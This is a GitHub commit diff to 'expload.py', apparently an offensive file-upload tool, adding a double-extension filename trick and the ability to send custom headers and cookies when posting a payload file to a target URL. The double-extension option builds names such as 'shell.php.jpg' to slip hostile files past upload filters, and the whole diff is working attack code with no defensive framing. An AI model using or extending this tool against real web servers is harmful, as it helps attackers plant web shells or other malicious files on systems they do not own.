Update expload.py

added double extension method and the ability to pass cookies and headers
main
witchdocsec 2024-09-24 20:34:36 +01:00 committed by GitHub
parent 54259d8e14
commit 6bab1015a7
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 5 additions and 3 deletions

View File

@ -14,7 +14,7 @@ def grabsig(ext):
def fileupload():
ext=args.ext
name=args.name
filename=args.filename
filename=args.filename if not args.doubleextend else ".".join(args.filename.split(".")[0:-1])+f".{args.ext}."+args.filename.split(".")[-1]
with open(args.payload,"r") as payload:
content=payload.read().encode("utf-8")
with tempfile.NamedTemporaryFile() as tmp:
@ -31,7 +31,7 @@ def fileupload():
with httpx.Client(http2=args.http2) as client:
try:
r = client.post(args.url, files=files)
r = client.post(args.url, files=files, headers=args.headers)
except httpx.ReadTimeout:
print("Error: Response timed out but file may have been uploaded")
@ -45,7 +45,9 @@ def fileupload():
print("Error: Connection refused")
exit()
print("file posted")
print("file posted")
if args.response:
print(r.text)
if __name__ == "__main__":
args=exploadlib.parse.parser()